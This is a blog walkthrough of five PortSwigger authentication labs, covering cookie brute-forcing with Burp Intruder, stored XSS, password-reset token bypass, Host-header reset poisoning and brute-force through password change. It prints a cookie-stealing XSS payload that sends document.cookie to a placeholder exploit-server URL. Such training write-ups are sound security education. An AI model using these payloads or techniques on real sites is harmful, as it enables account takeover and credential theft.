Hello folks,
This blog focuses on the identification and exploitation of Authentication vulnerability on web applications. We will be providing a detailed walkthrough of PortSwigger’s labs which you can access on the PortSwigger. We have three categories here on this website. So in this blog, we will be covering the third one which is ‘Vulnerabilities in other Authentication mechanisms’. You guys can check out ‘Vulnerabilities in Password-based login’ and ‘Vulnerabilities in Multi-factor Authentication’. Without any delay, let’s start our penetration testing process.
Lab-1 Brute-forcing a stay-logged-in cookie
]Many web applications have an option that allows the user’s logged-in session to be kept for a specific period. This functionality provides the user with a stay-logged-in cookie using which server confirms that the user has an already logged-in session. Normally the server creates this cookie value using the details of the user. Now if the algorithm using which this cookie value is generated is found vulnerable or weak then the attacker can decode or crack the hash to get critical information related to the user’s credentials. In this scenario, we will try to understand the algorithm used to generate the cookie value and extract the information about the target user.
Access the lab and launch Burp Suite Professional.
In order to identify Authentication related vulnerabilities, we have to visit the login page by clicking on the ‘My account’ button. Let’s provide the credentials that we received from the lab description. Also, make sure that we click on the check box for ‘Stay logged in’.
After validating the username and password, we will find that we are logged in as wiener user. Let’s switch to Burp Suite and go to ‘HTTP history’ sub-tab under the ‘Proxy’ tab. There we will find a POST request to /login page. In the response of this request, we will find a cookie named ‘stay-logged-in’ which is set by the server. Now select the value of this cookie and under Inspector tool, we will find that this value is encoded with the Base64 encoding algorithm.
The decoded value has following format:
username:Hash
Now we have to try to crack this hash value for which we can visit CrackStation. After cracking the hash, we found that the Hashing algorithm was MD5 and the value is the password of the wiener user.
So, the stay-logged-in cookie consists of the username and password using which we can brute-force the password of any user. Let’s log out as wiener user and take the GET request containing the stay-logged-in cookie to Burp Intruder. Under the ‘Positions’ sub-tab, change the id=wiener to id=carlos because we want to brute-force the stay-logged-in cookie of carlos user. Also, we have to select the value of the stay-logged-in cookie and click on ‘Add’.
Under the ‘Payloads’ sub-tab, paste the password list provided in the lab description. There is a new option that we need to configure here which is ‘Payload Processing’. It will help us to change the password into the same format as a stay-logged-in cookie.
Let’s click on ‘Add’ and follow the following steps:
1. Select Hash > MD5
2. Select Add Prefix > carlos:
3. Select Encode > Base64-encode
Finally click on ‘Start attack’. Now we have to wait until we get a 200 status code or any difference in the length. Once we get any request with 200 status code, check the response of the same and we will find that we are successfully logged in as carlos user.
As per lab description, we need to login as carlos user but we can also get the password of the victim user by decoding the value of stay-logged-in cookie using Burp Decoder and then finally using CrackStation to crack the hash of password.
Now we can either login using the credentials of carlos or we can go back to Intruder attack and right click on the request (which gives 200 status code) and select ‘Show response in browser’. Finally copy the URL and paste it on the browser to directly login as carlos user. This will help us to solve the lab as well.
Lab-2 Offline password cracking
There is an attack that can be performed on the above scenario using another vulnerability like Cross-Site Scripting (XSS). Assume that the website is vulnerable with XSS using which the attacker can simply steal the cookies of the victim which will provide him the stay-logged-in cookie as well. Using this cookie, an attacker can easily access the account of the victim.
Access the lab and launch Burp Suite Professional.
In order to identify Authentication related vulnerabilities, we have to visit the login page by clicking on the ‘My account’ button. Let’s provide the credentials that we received from the lab description. Also, make sure that we click on the check box for ‘Stay logged in’.
After validating the username and password, we will find that we are logged in as wiener user. Let’s switch to Burp Suite and go to the ‘HTTP history’ sub-tab under the ‘Proxy’ tab. There we will find a POST request to /login page. In the response of this request, we will find a cookie named ‘stay-logged-in’ which is set by the server. Now, we can perform the same method like we did in the previous lab and will see that the cookie value contains the username and password of wiener user.
This time we have to identify and exploit stored Cross-Site Scripting (XSS) vulnerability on the website which will help us to access the stay-logged-in cookies of other users. Let’s visit any blog post on the homepage of the website and below the blog post, we will find a comment functionality. Now, on the Comment section, provide a basic XSS payload as follows and mention other details as well:
<script>alert(“Follow CyberiumX!”)</script>
Click on the ‘Post Comment’ button.
This will save our malicious payload on this blog post as a comment. If we go back to the same blog page, we will find that the alert pops up which confirms that the website is vulnerable with the Stored XSS vulnerability.
Now, let’s go back to the comment functionality and provide a malicious XSS payload to steal the user’s cookie value as follows:
<script>document.location='<Exploit_server_URL>/?cookie=’+document.cookie</script>
Now click on the ‘Post Comment’ button. This will save our malicious payload on this blog post as a comment. Now we have to check the logs of our exploit server by visiting our exploit server and clicking on the ‘Access log’ button. We will find that we received a request from a user (who visited the blog post where we commented with malicious XSS payload) with cookie values.
Finally, we need to decode the value of the stay-logged-in cookie and crack the password hash of the user using CrackStation.
We found the username and password of our victim using which we can login and solve the lab.
Lab-3 Password reset broken logic
In this scenario, we will be exploiting the password reset functionality of the authentication page and try to identify a logic flaw using which the attacker can change the password of any user and access their account.
Access the lab and launch Burp Suite Professional.
In order to identify Authentication related vulnerabilities, we have to visit the login page by clicking on the ‘My account’ button. We will find a ‘Forgot Password’ functionality. Click on it to reset the password of wiener user. We are asked to provide the username/email of the user. Let’s provide the username as wiener. The application will send a password reset link on the email client of wiener user. Let’s click on the ‘Email client’ button and there we will find our password reset link.
Let’s click on the link to change our password. Provide the new password for wiener user and click on the ‘Submit’ button.
Switch to Burp Suite and find a POST request to /forgot-password endpoint. We will find a token is used here to reset the password of the wiener user. But what if we remove the token and the application still helps to change the password of any user.
Let’s take this request to Burp Repeater and remove the temp-forgot-password-token from the request. Send the request and we will find that the password of wiener is changed.
Finally, change the username to carlos, set a password for carlos user and send the request. We will find that the request is accepted and the password of carlos user is changed
Now, we can simply log in as carlos user using the new password which will solve the lab.
Lab-4 Password reset poisoning via middleware
There is another flaw that we are going to discover in this scenario on the password reset functionality. It can be exploited with the help of another vulnerability called HTTP Host Header attack. Let’s see it in practice.
Access the lab and launch Burp Suite Professional.
In order to identify Authentication related vulnerabilities, we have to visit the login page by clicking on the ‘My account’ button. We will find a ‘Forgot Password’ functionality. Click on it to reset the password of wiener user. We are asked to provide the username/email of the user. Let’s provide the username as wiener. The application will send a password reset link on the email client of wiener user. Let’s click on the ‘Email client’ button and there we will find our password reset link.
Let’s click on the link to change our password. Provide the new password for wiener user and click on the ‘Submit’ button. Switch to Burp Suite and find a POST request to /forgot-password endpoint. We will have a ‘username’ parameter in the body of the request. This time we have to find the HTTP Host Header vulnerability for which we need to add an override HTTP header ‘X-Forwarded-Host’ and point it to any external domain. Send the request and we will find that the password reset mail is sent to our email.
Let’s check the mail by siting our exploit server and clicking on the ‘Email Client’ button. We will find that the email we received from the web application contains our external website URL followed by the temp-forgot-password-token. The password reset URL is generated dynamically.
So, when someone clicks on this URL, their token will be sent to the external domain. Let’s exploit this vulnerability by going back to the Burp Repeater and pointing the value of X-Forwarded-Host header to our exploit server’s URL. Also, let’s change the username to carlos so that the application will generate a URL for carlos user and will send him an email. When the user clicks on the link, his password reset token will be sent to our exploit server.
Now, let’s go back to the access log page of the exploit server and try to look for an entry where we will find the temp-forgot-password-token for carlos user.
Finally, we need to copy the token and paste it in the URL to reset the password of carlos user. The URL should look like the following:
https://<Lab_URL>/forgot-password?temp-forgot-password-token=<token_value>
We will find that we can change the password for carlos’ user.
Now, we can simply log in as carlos user using the new password which will solve the lab.
Lab-5 Password brute-force via password change
Typically, changing our password involves entering our current password and then the new password twice. These pages fundamentally rely on the same process for checking that usernames and current passwords match as a normal login page does. Therefore, these pages can be vulnerable to brute-force attacks.
Access the lab and launch Burp Suite Professional.
In order to identify Authentication related vulnerabilities, we have to visit the login page by clicking on the ‘My account’ button. Let’s provide the credentials that we received from the lab description. After validating the username and password, we will find that we are logged in as wiener user.
On the ‘my account’ page, we have a password change functionality which requires ‘Current password’, ‘New password’ and ‘Confirm new password’. Let’s try to change the password of wiener user by providing these values. Let’s switch to Burp Suite and go to the ‘HTTP history’ sub-tab under the ‘Proxy’ tab. There we will find a POST request to change the password. Send the request to Burp Repeater. Now try to change the ‘Current password’ to something that is not the current password and send the request. We will find an error saying ‘Current password is incorrect’.
This confirms that the application is checking the current password of the username provided in the request. Now let’s provide the correct current password but this time we will make sure the new and confirm new password values should not match. Send the request and this time we will get another error saying ‘New passwords do not match’.
Let’s take this request to Burp Intruder and under ‘Positions’ sub-tab, select the value of current-password parameter and add it as position. Make sure to change the username to carlos.
Now go to ‘Payloads’ sub-tab and paste the password list provided to us in the lab description. We also need to go to the ‘Options’ sub-tab and under the ‘Grep – match’ option paste the value of error ‘New passwords do not match’. Let’s click on ‘Start attack’.
Finally, we have to wait until we get some requests where this error value is mentioned because in that case the current password will match.
Use the new password in order to access the carlos’s account page. Hence the lab is solved.
This was all for the third part of Authentication Vulnerabilities where we explored all the possibilities for other Authentication functionalities like keeping users logged in, resetting user’s password and changing user’s password. Please check out the previous blogs for Authentication Vulnerabilities for good understanding.
You guys can check out the previous blog of Authentication Vulnerabilities.
Happy Pentesting!!!
Team CyberiumX